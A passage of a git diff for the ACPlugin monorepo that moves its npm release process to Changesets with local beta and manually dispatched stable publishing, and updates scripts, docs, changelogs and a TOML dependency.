-- `@tokenroll/acplugin-extension-mcp` +Repository tooling requires Node.js `^22.18.0 || >=24.11.0`. Published packages separately support `^20.19.0 || ^22.13.0 || >=23.5.0`. -Core, the test workspace, Docs, and Playground are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. +## Workflow -Repository build and release tooling requires Node.js `^22.18.0 || >=24.11.0`; CI uses 22.18.0. All nine public packages currently declare the separate runtime range `^20.19.0 || ^22.13.0 || >=23.5.0`. +1. A feature pull request targeting `main` includes a Changeset for every affected public package. +2. `Lint` and `Typecheck` Actions run independently when that pull request is created or updated. +3. After the feature merges into `main`, `Changelog` consumes pending Changesets and creates or updates `chore(release): version packages`. The version PR contains package manifest versions, changelogs, and the generated public-version snapshot. It does not publish. +4. Merge the version PR only after reviewing the intended independent version bumps. +5. Publish a beta locally, or manually dispatch `Release` for stable versions. -## Repository workflows +The repository setting **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests** must be enabled for `Changelog` to create its version PR with `GITHUB_TOKEN`. -`Check` runs automatically for pull requests. One job performs lint and typecheck; an independent job runs the complete `test` suite; another independent job runs `docs:check`, which rebuilds generated API pages, checks VitePress links/structure, and validates/builds the real Playground. +## Prepare a beta -`Verify` is manually dispatched with read-only repository permissions. It builds and validates all nine tarballs from one revision on Node 22.18, uploads that exact artifact set, then consumes it in a clean Node 20.19 project. It never publishes or creates release references. Verifying one revision together does not make the packages a fixed version cohort. +From the merged version revision, inspect pnpm's no-write plan: -`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one effective Changeset that releases a public package; an empty Changeset does not pass the gate. Before any version write, the workflow checks the release plan with `pnpm changeset status`. It then consumes all Changesets with `pnpm version-packages`, verifies that at least one public version changed, refreshes the pnpm lockfile, runs versions check, lint, typecheck, and the complete test suite, and creates or updates a version PR whose base is the selected target branch. - -The repository setting **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests** must be enabled for `Patch` to create the PR with `GITHUB_TOKEN`. The workflow does not publish packages or create release references. - -## Prepare a release - -1. Add Changesets for the affected public packages. Integration changes should name their owning Platform or Extension package; change the main package only when its CLI or public SDK changes. -2. Inspect `pnpm changeset status`, consume the Changesets with `pnpm version-packages`, refresh the lockfile with `pnpm install --lockfile-only`, and confirm only the intended manifests changed. Versions need not match. -3. Confirm every official Platform/Extension still declares `@tokenroll/acplugin` as `workspace:^` in the repository. Packing must rewrite it to a normal `^x.y.z` peer range. -4. Run: - - ```bash - pnpm install --frozen-lockfile - pnpm run check - pnpm run docs:check - pnpm run release:verify - ``` - -`release:verify` packs all nine packages in a temporary directory, runs type-resolution and package-lint checks on the actual tarballs, validates manifests and contents, verifies peer rewriting and shared registry-brand interoperability through one main-package peer instance, then installs and builds a six-Platform/two-Extension scaffold in a clean external consumer. The consumer executes the Core Runtime output and proves Claude Code/Codex receive identical bytes. For the main package it parses the packed ESM graph, proves the CLI-to-Migration edge remains lazy, checks every external import against declared runtime dependencies, and rejects both external and bundled official integrations. It never publishes. CI passes `--tarball-dir ` to retain the exact verified files for the separate Node 20.19 consumer job; local calls can use the same option when tarballs need to be retained for release. - -Commit the exact verified release preparation before publishing. Do not rebuild from another revision after verification. - -## Select the tarballs to publish - -Publish only packages whose versions changed in the release plan. Retain or download the exact nine-tarball artifact set produced by `release:verify`, then select the changed package tarballs from that set. The unchanged tarballs are cross-package verification inputs, not releases. - -Before publishing an integration, inspect its packed peer range for `@tokenroll/acplugin`: - -- if that range requires a new main-package version from the same release, publish and verify the main package first; -- if the range is already satisfied in the Registry, the integration can be published independently; -- Platform and Extension packages have no ordering dependency on one another. - -## Publish manually +```bash +pnpm install --frozen-lockfile +pnpm run publish:beta:dry-run +``` -An authorized TokenRoll npm organization maintainer publishes each selected tarball with 2FA and immediately checks its exact version: +When the plan is correct, an authorized npm maintainer publishes locally: ```bash -npm publish --access public --otp -npm view @ version +pnpm run publish:beta ``` -The initial cohort has already been published, so the repository intentionally has no root command that publishes every public package. Run `release:preflight`, then publish only the selected, already verified tarballs with the explicit command above. +Append `--otp ` when npm requires a command-line one-time password. The root command builds the workspace and then uses pnpm's recursive `@tokenroll/*` workspace publish flow. It intentionally skips repeated package lifecycle scripts because the root build already produced the artifacts. pnpm packs each public package and rewrites repository `workspace:^` peer ranges to ordinary published ranges. -If publication is interrupted, query every planned exact version and continue only with missing versions whose peer dependencies are already available. npm versions are immutable and must not be republished. +## Publish a stable release -## Create release references manually +Exit Changesets prerelease mode and merge the stable version PR first. Then manually dispatch the `Release` Action from `main`. The Action rejects prerelease versions and runs the same recursive public-workspace publish command with npm `latest`. -The old single-cohort `tokenroll-vX.Y.Z` tag cannot represent independently versioned packages and no longer applies. After an exact package version is visible in the Registry, a maintainer may create its package-specific tag and GitHub Release using the repository's separately approved naming convention. Do not guess or automate that convention in a workflow. +`Release` is intentionally manual: it requires the repository `NPM_TOKEN` secret but is never triggered by a pull request or push. It does not create a Git tag, GitHub Release, or separate dist-tag mutation. ## Safety rules -- Never use `npm unpublish` or mutate dist-tags as part of recovery. -- Never publish an integration before its packed main-package peer range exists in the Registry. -- Never publish private `@acplugin/*` workspace packages. -- Never publish an unchanged package merely because all nine were verified together. -- Never create or push release references before their exact npm versions are verified. -- Never add or invoke automated npm publication, Tag creation, or GitHub Release automation without an explicit project decision. -- Remove private temporary tarball directories after the release audit is complete. +- Do not publish private `@acplugin/*` packages; root publish scripts filter only `@tokenroll/*`. +- Do not use `npm unpublish` to recover from a failed release. +- Do not create a tag or GitHub Release unless separately authorized. +- If an npm exact version already exists, let pnpm report and skip it; bump the package version before retrying a package that needs changed contents. +- Keep official Platform/Extension manifests on `@tokenroll/acplugin: workspace:^`; pnpm owns the packed peer-range rewrite. +- Run `pnpm run test` and `pnpm run docs:check` for changes that affect behavior, package boundaries, Docs, or Playground. The PR Actions intentionally remain limited to lint and typecheck. diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index eee1a3d..7c69ea7 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -1,84 +1,49 @@ -# 手动发布独立版本化的公开 package +# 发布独立版本化的公开 package > [English version](release.md) -仓库包含九个独立版本化的公开 package: +ACPlugin 有九个独立版本化的公开 npm package:主包、六个 Platform package 与 Hooks/MCP Extension。Core、Test、Docs、Playground 均为私有 package,绝不能发布。 -- `@tokenroll/acplugin` -- `@tokenroll/acplugin-platform-claude-code` -- `@tokenroll/acplugin-platform-codex` -- `@tokenroll/acplugin-platform-cursor` -- `@tokenroll/acplugin-platform-antigravity` -- `@tokenroll/acplugin-platform-opencode` -- `@tokenroll/acplugin-platform-pi` -- `@tokenroll/acplugin-extension-hooks` -- `@tokenroll/acplugin-extension-mcp` +仓库工具链要求 Node.js `^22.18.0 || >=24.11.0`;已发布 package 另行支持 `^20.19.0 || ^22.13.0 || >=23.5.0`。 -Core、测试工作区、Docs 和 Playground 是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手工执行。仓库没有自动发布工作流。 +## 工作流 -仓库构建与发布工具要求 Node.js `^22.18.0 || >=24.11.0`,CI 固定使用 22.18.0;九个公开 package 当前都声明独立的运行时范围 `^20.19.0 || ^22.13.0 || >=23.5.0`。 +1. 指向 `main` 的功能 PR 为每个受影响的公开 package 提交 Changeset。 +2. PR 创建或更新时,`Lint` 与 `Typecheck` Action 分别运行。 +3. 功能 PR 合并到 `main` 后,`Changelog` 消费待处理 Changeset,创建或更新 `chore(release): version packages`。版本 PR 包含 package manifest 版本、changelog 与生成的公开版本快照,不会发布。 +4. 审核独立版本升级是否符合预期后再合并版本 PR。 +5. beta 在本地发布;稳定版由维护者手工触发 `Release`。 -## 仓库工作流 +`Changelog` 需要通过 `GITHUB_TOKEN` 创建版本 PR,因此仓库必须启用 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。 -`Check` 在 Pull Request 创建时自动执行:一个 Job 运行 lint/typecheck,一个独立 Job 运行完整 `test` 套件,另一个独立 Job 运行 `docs:check`,重新生成 API 页面、检查 VitePress 链接/结构,并验证及构建真实 Playground。 +## 准备 beta -`Verify` 仅能手工触发,并使用只读仓库权限。它在 Node 22.18 上从同一 Revision 构建和验证九个 tarball,上传这组精确 Artifact,再在干净的 Node 20.19 工程中消费同一组文件;不会发布或创建 Release 引用。同一 Revision 一起验证不代表这些 package 属于固定版本组。 +在已合并的版本 Revision 上先检查 pnpm 的无写入计划: -`Patch` 从仓库默认分支手工触发,必须提供目标分支。目标分支必须至少包含一个让公开 package 产生发布的有效 Changeset;空 Changeset 不满足门禁。工作流会在任何版本写入前使用 `pnpm changeset status` 验证发布计划,再用 `pnpm version-packages` 消费全部 Changeset,确认至少一个公开版本发生变化,刷新 pnpm lockfile,依次运行 versions check、lint、typecheck 和完整 `test` 套件,然后创建或更新一个以所选目标分支为 base 的版本 PR。 - -为了让 `Patch` 使用 `GITHUB_TOKEN` 创建 PR,必须启用仓库设置 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。该工作流不会发布 package,也不会创建任何 Release 引用。 - -## 准备发布 - -1. 为受影响的公开 package 添加 Changeset。集成实现变更应指向所属 Platform/Extension;只有 CLI 或公开 SDK 变化时才更新主包。 -2. 检查 `pnpm changeset status`,使用 `pnpm version-packages` 消费 Changeset,再用 `pnpm install --lockfile-only` 刷新 lockfile,并确认只有预期 manifest 发生变化;各 package 版本无需相同。 -3. 确认所有官方 Platform/Extension 在仓库中仍把 `@tokenroll/acplugin` 声明为 `workspace:^`;pack 后必须改写成普通 `^x.y.z` peer range。 -4. 运行: - - ```bash - pnpm install --frozen-lockfile - pnpm run check - pnpm run docs:check - pnpm run release:verify - ``` - -`release:verify` 会在临时目录中打包九个 package,对实际 tarball 执行类型解析与 Package Lint,检查 manifest 和内容,验证 peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作,再在干净外部消费者中安装并构建六 Platform/两个 Extension 脚手架。消费者会真实执行 Core Runtime,并证明 Claude Code/Codex 收到相同字节。对于主包,它会解析 tarball 内真实 ESM 图,证明 CLI 到 Migration 的边仍是 lazy,逐条核对外部 import 与已声明运行时依赖,并拒绝主包外部引用或内联官方集成。它绝不会发布任何内容。CI 通过 `--tarball-dir ` 保留精确验证过的文件,供独立 Node 20.19 consumer job 使用;本地需要保留待发布 tarball 时也可使用该参数。 - -发布前必须提交这份精确验证过的发布准备。验证后不得从另一个 Revision 重新构建待发布文件。 - -## 选择待发布 tarball - -只发布本次计划中版本发生变化的 package。保留或下载 `release:verify` 产生的九 tarball 精确 Artifact 集,再从中选择变更 package 对应的 tarball。未变化的 tarball 只是跨包验证输入,不是待发布版本。 - -发布集成 package 前,检查其 tarball 中 `@tokenroll/acplugin` 的 peer range: - -- 如果该范围要求同次发布中的新主包版本,先发布并验证主包; -- 如果 Registry 中已有主包版本满足该范围,集成可以独立发布; -- 各 Platform 与 Extension 之间没有发布顺序依赖。 - -## 手动发布 +```bash +pnpm install --frozen-lockfile +pnpm run publish:beta:dry-run +``` -由获得授权的 TokenRoll npm 组织维护者使用 2FA 发布每个选中的 tarball,并立即检查其精确版本: +确认计划正确后,获得 npm 权限的维护者在本地执行: ```bash -npm publish --access public --otp -npm view @ version +pnpm run publish:beta ``` -初始 cohort 已完成发布,因此仓库有意不再提供一次发布全部公开包的根命令。先运行 `release:preflight`,再使用上面的显式命令只发布已选中且经过验证的 tarball。 +若 npm 要求命令行一次性验证码,追加 `--otp `。根命令会构建 workspace,随后用 pnpm 递归发布 `@tokenroll/*` 公开 workspace。由于根构建已经产出内容,发布阶段会跳过重复的 package lifecycle scripts。pnpm 会为每个公开 package 打包,并将仓库中的 `workspace:^` peer range 改写为普通已发布范围。 -如果发布过程被中断,查询计划中的每个精确版本,只继续发布 peer dependency 已可满足且 Registry 中仍缺失的版本。npm 版本不可变,不能重复发布。 +## 发布稳定版 -## 手动创建 Release 引用 +先退出 Changesets prerelease mode,并合并稳定版版本 PR;随后从 `main` 手动触发 `Release` Action。该 Action 拒绝 prerelease 版本,并使用同一套递归公开 workspace 发布命令写入 npm `latest`。 -旧的单一 package cohort `tokenroll-vX.Y.Z` Tag 无法表达独立版本,已不再适用。在 Registry 可查询到某个 package 的精确版本后,维护者可以按照仓库另行确认的命名约定创建该 package 专属 Tag 和 GitHub Release。不要在 Workflow 中猜测或自动化尚未确认的命名格式。 +`Release` 有意保持手动:它使用仓库的 `NPM_TOKEN` secret,但绝不因 PR 或 push 自动触发;它不会创建 Git Tag、GitHub Release,也不会执行独立 dist-tag 修改。 ## 安全规则 -- 恢复过程中绝不使用 `npm unpublish`,也不修改 dist-tag; -- 集成 tarball 的主包 peer range 尚未存在于 Registry 时,绝不发布该集成; -- 绝不发布私有 `@acplugin/*` 工作区 package; -- 不因九个 package 一起验证就重复发布未变化的 package; -- 在验证对应 npm 精确版本前,绝不创建或推送 Release 引用; -- 未经明确项目决策,绝不添加或调用自动 npm 发布、Tag 创建或 GitHub Release 自动化; -- 发布审计结束后,删除保存 tarball 的私有临时目录。 +- 绝不发布私有 `@acplugin/*` package;根发布脚本只筛选 `@tokenroll/*`。 +- 不用 `npm unpublish` 恢复失败发布。 +- 未另获授权时,不创建 Tag 或 GitHub Release。 +- npm 中已存在精确版本时,让 pnpm 报告并跳过;若需要改变该 package 内容,先升级版本再重试。 +- 官方 Platform/Extension manifest 中必须保持 `@tokenroll/acplugin: workspace:^`;打包 peer range 改写由 pnpm 负责。 +- 涉及行为、package 边界、Docs 或 Playground 的改动应运行 `pnpm run test` 与 `pnpm run docs:check`。PR Action 有意只保留 lint 与 typecheck。 diff --git a/llmdoc/index.md b/llmdoc/index.md index 4eabada..31d84d8 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -13,7 +13,6 @@ ACPlugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski - [Using ACPlugin](guides/usage.md) · [使用 ACPlugin](guides/usage.zh-CN.md) — scaffold, author, validate, build, and migrate. - [按 Package 代码导览](guides/package-code-tour.zh-CN.md) — 每个 workspace package 的职责、架构、数据流、实现伪代码与修改入口。 - [Release guide](guides/release.md) · [手动发布指南](guides/release.zh-CN.md) — independent public-package verification and fully manual publishing. -- [中文代码注释规范](guides/commenting.zh-CN.md) — 中文声明注释、关键逻辑注释与自动守卫规则。 ## Architecture diff --git a/llmdoc/startup.md b/llmdoc/startup.md index 5c120d0..84c756e 100644 --- a/llmdoc/startup.md +++ b/llmdoc/startup.md @@ -12,4 +12,4 @@ Keep these invariants: - Migration stays lazy and isolated under `packages/acplugin/src/migration/`; legacy code is not normal runtime architecture. - Preserve deterministic, strict, whole-output builds. Official integrations import only the public main-package SDK through peer dependencies, and no public package exposes a private `@acplugin/*` runtime dependency. -Use `pnpm run check` for runtime repository validation, `pnpm run docs:check` for Docs/Playground validation, and `pnpm run release:verify` for packed external-consumer verification. +Use `pnpm run check` for runtime repository validation and `pnpm run docs:check` for Docs/Playground validation. PR automation intentionally runs only separate lint and typecheck Actions; run behavior, Docs, Playground, and packed-consumer checks in proportion to the change. diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index c04fc8c..30d06da 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -19,11 +19,11 @@ - MCP correctness: six Platform Contributors implement target-specific transport/auth contracts. OpenCode uses its canonical local/remote MCP schema without an unproven sidecar. Compatibility reflects lost auth semantics, and stable ordering is locale-independent. - Dev: `Project.dev()` delegates to the Core-owned DevSession. It permits one active BuildSession round, coalesces pending changes, runs catch-up rounds, reconciles current module/source/license graphs, preserves the last successful output after failures, and drains safely on idempotent close or process signals. No CLI or Integration watcher path exists. - Reports and output: BuildReport schema v2 describes Components, Runtimes, Extensions, Platforms, Packages, Assets with structured origin, compatibility, metadata dispositions, and stage diagnostics. Stable output excludes bytes, timestamps, environment values, credentials, absolute project paths, and temporary roots. The selected Platform set is committed by one recoverable whole-output transaction. -- Playground/docs/release: the domain-neutral Playground exercises all Components, Hook events, HTTP/stdio MCP, Core Runtime, Public files, six Platforms, supported Distributions, deterministic bytes, and real protocol execution. VitePress and TypeDoc cover author and `/sdk` APIs. Release verification uses the same nine-package ecosystem version snapshot as init and Migration and validates packed clean consumers. +- Playground/docs/release: the domain-neutral Playground exercises all Components, Hook events, HTTP/stdio MCP, Core Runtime, Public files, six Platforms, supported Distributions, deterministic bytes, and real protocol execution. VitePress and TypeDoc cover author and `/sdk` APIs. Changesets independently version the nine public packages; Changelog maintains version PRs after `main` merges, stable Release is manually dispatched, and beta publication remains a local pnpm command. - Migration: legacy input support stays lazily isolated under `packages/acplugin/src/migration/`. It uses the real Project/Kernel lifecycle for generated-project validation but is not a second normal build path; tolerant legacy readers are not mechanically rewritten to match strict Core internals. - Cleanup: obsolete Scanner/config/lifecycle/Artifact/DeliveryUnit implementations, Integration-local bundlers, adapter-era files, `output-paths.ts`, Core `kernel/`, transitional root modules, old Platform root package implementations, monolithic Extension tests, and stale test-name suffixes are removed. Core source and tests now mirror explicit contract, compiler, resource, lifecycle, package, output, service, and security domains. Architecture guards allow no v1 production symbol, confine Rolldown to the Core driver, and confine Chokidar to Core DevSession. -- Release state: manifests retain the maintainer-requested beta versions: main `0.0.2-beta`, Codex `0.0.3-beta`, and the other five Platforms plus Hooks/MCP `0.0.2-beta`. Changesets describe the architecture rewrite but have not been consumed. -- Validation: lint and the 259-file comment guard, TypeScript 7 typecheck, all Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and nine-tarball clean-consumer release verification pass. Versions check succeeds and Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `lifecycle/dev-session.ts`, find no Integration `dist` write, find no cycle in the 70-file Core runtime import graph, and both staged and unstaged Git whitespace checks pass. +- Release state: the architecture Changeset remains in beta prerelease state; manifests and generated changelogs target main `0.0.2-beta`, Codex `0.0.3-beta`, and the other five Platforms plus Hooks/MCP `0.0.2-beta`. `publish:beta:dry-run` and `publish:beta` use the same recursive public-workspace pnpm flow after the root build; `Release` only accepts stable semver versions and is manually dispatched. +- Validation: the baseline before this workflow simplification passed lint, TypeScript 7 typecheck, all Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and release tarball clean-consumer verification. Versions check succeeds and Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `lifecycle/dev-session.ts`, find no Integration `dist` write, find no cycle in the 70-file Core runtime import graph, and both staged and unstaged Git whitespace checks pass. - Prior review state: the architecture/package-layout review found one stale repository-skill path set and five transitional test names; both findings were fixed and independently rechecked before the current post-layout remediation. - Current review state: the post-layout Standards/Spec review findings were remediated and independently re-reviewed; both axes pass with no remaining finding. @@ -34,7 +34,6 @@ pnpm run typecheck pnpm run test pnpm run build pnpm run docs:check -pnpm run release:verify pnpm changeset status git diff --check git diff --cached --check diff --git a/package.json b/package.json index 94b73d4..8633d84 100644 --- a/package.json +++ b/package.json @@ -10,14 +10,10 @@ "scripts": { "build": "pnpm --filter @acplugin/core run build && pnpm --filter \"@tokenroll/acplugin-platform-*\" run build && pnpm --filter \"@tokenroll/acplugin-extension-*\" run build && pnpm --filter @tokenroll/acplugin run build", "dev": "pnpm --filter @tokenroll/acplugin run dev", - "docs:api": "pnpm --filter @acplugin/docs run api", "docs:dev": "pnpm --filter @acplugin/docs run dev", "docs:build": "pnpm --filter @acplugin/docs run build", - "docs:preview": "pnpm --filter @acplugin/docs run preview", "docs:verify": "node scripts/verify-docs.mjs", "playground:typecheck": "pnpm --filter @acplugin/playground run typecheck", - "playground:validate": "pnpm --filter @acplugin/playground run validate", - "playground:build": "pnpm --filter @acplugin/playground run build", "playground:verify": "node scripts/verify-playground.mjs", "playground:check": "pnpm run build && pnpm run playground:typecheck && pnpm run playground:verify", "docs:check": "pnpm run docs:build && pnpm run docs:verify && pnpm run playground:check", @@ -25,14 +21,14 @@ "test": "pnpm --config.enable-pre-post-scripts=false -r --if-present run test", "test:watch": "pnpm --filter @acplugin/test run test:watch", "changeset": "changeset", - "version-packages": "changeset version && pnpm run versions:sync", + "version-packages": "changeset version && pnpm run versions:sync && pnpm install --lockfile-only", "versions:sync": "node scripts/sync-ecosystem-versions.mjs --write", "versions:check": "node scripts/sync-ecosystem-versions.mjs --check", - "release:verify": "node scripts/verify-release.mjs", - "release:preflight": "pnpm run lint && pnpm run typecheck && pnpm run build && pnpm --config.enable-pre-post-scripts=false -r --if-present run test && pnpm run docs:build && pnpm run docs:verify && pnpm run playground:typecheck && pnpm run playground:verify && pnpm run release:verify", - "lint": "pnpm run comments:check && eslint .", + "publish:beta:dry-run": "pnpm run build && pnpm -r --filter '@tokenroll/*' publish --access public --tag beta --registry=https://registry.npmjs.org/ --no-git-checks --ignore-scripts --dry-run", + "publish:beta": "pnpm run build && pnpm -r --filter '@tokenroll/*' publish --access public --tag beta --registry=https://registry.npmjs.org/ --no-git-checks --ignore-scripts", + "release": "pnpm run build && pnpm -r --filter '@tokenroll/*' publish --access public --tag latest --registry=https://registry.npmjs.org/ --no-git-checks --ignore-scripts", + "lint": "eslint .", "lint:fix": "eslint . --fix", - "comments:check": "node scripts/check-comments.mjs", "typecheck": "pnpm -r --if-present run typecheck", "check": "pnpm run lint && pnpm run typecheck && pnpm run test && pnpm run build", "prepare": "husky" @@ -49,7 +45,6 @@ "@tokenroll/acplugin-extension-mcp": "workspace:^", "@types/node": "catalog:", "@typescript/native": "catalog:", - "es-module-lexer": "^2.3.1", "eslint": "^10.8.0", "husky": "^9.1.7", "lint-staged": "^17.2.0", diff --git a/packages/acplugin/CHANGELOG.md b/packages/acplugin/CHANGELOG.md new file mode 100644 index 0000000..9404be5 --- /dev/null +++ b/packages/acplugin/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin + +## 0.0.2-beta + +### Major Changes + +- 889da32: Replace the beta lifecycle contract with the Kernel v2 author facade and the `@tokenroll/acplugin/sdk` trusted-integration boundary while keeping `LIFECYCLE_API_VERSION` at `1`. + + Core now owns the fixed Platform/Extension session lifecycle, Rolldown-backed Module/Compiler services, capability-scoped Source/Asset/Execution services, Package Contribution merge, Core Node Runtime delivery, schema-v2 reports, DevSession watch coordination, and recoverable whole-output transactions. + + The CLI, project API, scaffolding, Migration validation, documentation, Playground, and packed-consumer verification now use this single architecture. diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index e496657..fa1b13a 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -18,7 +18,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "dev": "tsdown --watch", "pretest": "pnpm --filter @acplugin/core run build", "test": "vitest run --passWithNoTests", diff --git a/packages/acplugin/tsdown.config.ts b/packages/acplugin/tsdown.config.ts index 09dd8f4..de2d67d 100644 --- a/packages/acplugin/tsdown.config.ts +++ b/packages/acplugin/tsdown.config.ts @@ -17,6 +17,7 @@ export default defineConfig({ publint: true, attw: { profile: 'esm-only', level: 'error' }, deps: { - alwaysBundle: ['@acplugin/core'], + // 主包内联私有 Core 与其闭包;新增 node_modules 依赖必须显式审阅后才能进入 tarball。 + onlyBundle: ['chokidar', 'readdirp', 'smol-toml', 'yaml'], }, }); diff --git a/packages/core/package.json b/packages/core/package.json index dea63bf..d59849f 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -26,10 +26,10 @@ "typecheck": "tsc -p tsconfig.json" }, "dependencies": { - "@iarna/toml": "^2.2.5", "chokidar": "^5.0.0", "rolldown": "catalog:", "semver": "^7.8.5", + "smol-toml": "^1.8.0", "spdx-expression-parse": "^5.0.0", "yaml": "^2.9.0" }, diff --git a/packages/core/src/package/documents.ts b/packages/core/src/package/documents.ts index 8cdd7b9..e6c8d86 100644 --- a/packages/core/src/package/documents.ts +++ b/packages/core/src/package/documents.ts @@ -1,5 +1,5 @@ /** Core 确定性编解码结构化 Package Document。 */ -import { stringify as stringifyToml } from '@iarna/toml'; +import { stringify as stringifyToml } from 'smol-toml'; import { stringify as stringifyYaml } from 'yaml'; import type { JsonObject, diff --git a/packages/core/test/package/document-codec.test.ts b/packages/core/test/package/document-codec.test.ts index 31a3eaf..84c17aa 100644 --- a/packages/core/test/package/document-codec.test.ts +++ b/packages/core/test/package/document-codec.test.ts @@ -37,6 +37,23 @@ describe('Core Package Document codec', () => { }))).toBe('---\na: value\nz: 2\n---\nBody.\n'); }); + it('serializes TOML strings, arrays and nested tables deterministically', () => { + const value = { + title: 'Needs "quotes" and a newline\n', + values: ['first', 2, true], + nested: { + 'a.b': 'quoted key', + 'ratio': 1.5, + 'zero': 0, + }, + }; + const first = text(document('toml', value)); + const second = text(document('toml', value)); + + expect(first).toBe('title = "Needs \\"quotes\\" and a newline\\n"\nvalues = [ "first", 2, true ]\n\n[nested]\n"a.b" = "quoted key"\nratio = 1.5\nzero = 0\n'); + expect(second).toBe(first); + }); + it('rejects unsupported roots and malformed frontmatter without lossy coercion', () => { expect(() => text(document('toml', ['not', 'an', 'object']))).toThrow('TOML Document root'); expect(() => text(document('frontmatter', { frontmatter: {}, body: 'Body.', extra: true }))).toThrow('exactly'); diff --git a/packages/extensions/hooks/CHANGELOG.md b/packages/extensions/hooks/CHANGELOG.md new file mode 100644 index 0000000..dcdb110 --- /dev/null +++ b/packages/extensions/hooks/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-extension-hooks + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the Hooks Extension around Core-owned portable-node compilation, one shared Built Handler state, SDK-only Platform Contributors, deterministic target protocol adapters, and Core-managed Asset and third-party license delivery. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/extensions/hooks/package.json b/packages/extensions/hooks/package.json index 2a29c9c..e3eeea5 100644 --- a/packages/extensions/hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter @tokenroll/acplugin-platform-claude-code run build && pnpm --filter @tokenroll/acplugin-platform-codex run build && pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" diff --git a/packages/extensions/mcp/CHANGELOG.md b/packages/extensions/mcp/CHANGELOG.md new file mode 100644 index 0000000..d37695b --- /dev/null +++ b/packages/extensions/mcp/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-extension-mcp + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the MCP Extension around Core-owned portable-node compilation and execution, one shared stdio Bundle state, SDK-only Platform Contributors, deterministic HTTP/stdio transport configuration, real protocol smoke validation, and Core-managed Asset and third-party license delivery. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/extensions/mcp/package.json b/packages/extensions/mcp/package.json index 37536d2..fae0aa1 100644 --- a/packages/extensions/mcp/package.json +++ b/packages/extensions/mcp/package.json @@ -33,7 +33,6 @@ }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter @tokenroll/acplugin-platform-claude-code run build && pnpm --filter @tokenroll/acplugin-platform-codex run build && pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" diff --git a/packages/platforms/antigravity/CHANGELOG.md b/packages/platforms/antigravity/CHANGELOG.md new file mode 100644 index 0000000..d564c93 --- /dev/null +++ b/packages/platforms/antigravity/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-platform-antigravity + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the Antigravity Platform around the Package API, Core-owned Document codecs, deterministic Command/Agent fallback Skill identities, add-only Hooks/MCP Assets, final candidate validation, and explicit unsupported Node Runtime compatibility. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/platforms/antigravity/package.json b/packages/platforms/antigravity/package.json index 08a17c3..6bed10d 100644 --- a/packages/platforms/antigravity/package.json +++ b/packages/platforms/antigravity/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/claude-code/CHANGELOG.md b/packages/platforms/claude-code/CHANGELOG.md new file mode 100644 index 0000000..0f8f910 --- /dev/null +++ b/packages/platforms/claude-code/CHANGELOG.md @@ -0,0 +1,11 @@ +# @tokenroll/acplugin-platform-claude-code + +## 0.0.2-beta + +### Major Changes + +- 889da32: Rewrite the Claude Code Platform around the Package API, Core-owned Document codecs, native Command/Skill/Agent delivery, add-only Hooks/MCP extension points, capability-negotiated Core Node Runtime delivery, final candidate validation, and validated primary Asset inheritance for Marketplace distributions. + +### Patch Changes + +- Updated peer dependency on `@tokenroll/acplugin` to `^0.0.2-beta`. diff --git a/packages/platforms/claude-code/package.json b/packages/platforms/claude-code/package.json index f96d554..3aa494a 100644 --- a/packages/platforms/claude-code/package.json +++ b/packages/platforms/claude-code/package.json @@ -14,7 +14,6 @@ "publishConfig": { "access": "public" }, 